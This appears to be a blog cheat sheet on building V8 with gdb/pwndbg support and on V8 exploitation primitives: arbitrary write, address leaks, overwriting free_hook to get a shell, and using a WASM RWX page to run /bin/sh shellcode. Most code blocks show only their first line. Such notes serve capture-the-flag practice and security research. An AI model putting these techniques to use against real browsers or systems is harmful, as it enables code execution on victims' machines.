How to Build V8
Install depot_tools
1 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git |
Install ninja
1 | git clone https://github.com/ninja-build/ninja.git |
Download the source code of V8
1 | fetch v8 |
Patch and compile the debug version
1 | cd v8 |
Patch and compile the release version
1 | tools/dev/v8gen.py x64.release |
Build with natives_blob.bin and snapshot_blob.bin
Add to args.gn
1 | v8_static_library = true |
Add gdb support
Add to ~/.gdbinit
1 | source /path/to/v8/tools/gdbinit |
Gdb init
1 | gdb ./d8 |
Command job
1 | pwndbg> job 0x2a46080c2b95 |
Command telescope
1 | pwndbg> telescope 0x2a46080c2b95 |
Debug
1 | %DebugPrint(a); |
Arbitrary write
1 | var data_buf = new ArrayBuffer(8); |
Get the address in d8
Array obj -> map -> constructor -> code -> d8 addr
1 | var a = [1.1, 2.2, 3.3]; |
Edti free_hook to system and getshell
1 | function get_shell() |
Use WASM to execute shellcode
Init
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
Looking for rwx_page_addr
Function–>shared_info–>WasmExportedFunctionData–>instance->instance+0x88
Without compression pointer
1 | //function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr |
With compression pointer
1 | //function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr |
Write shellcode and execute it
1 | /* /bin/sh for linux x64 |
Use natives syntax
1 | --trace-turbo |
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.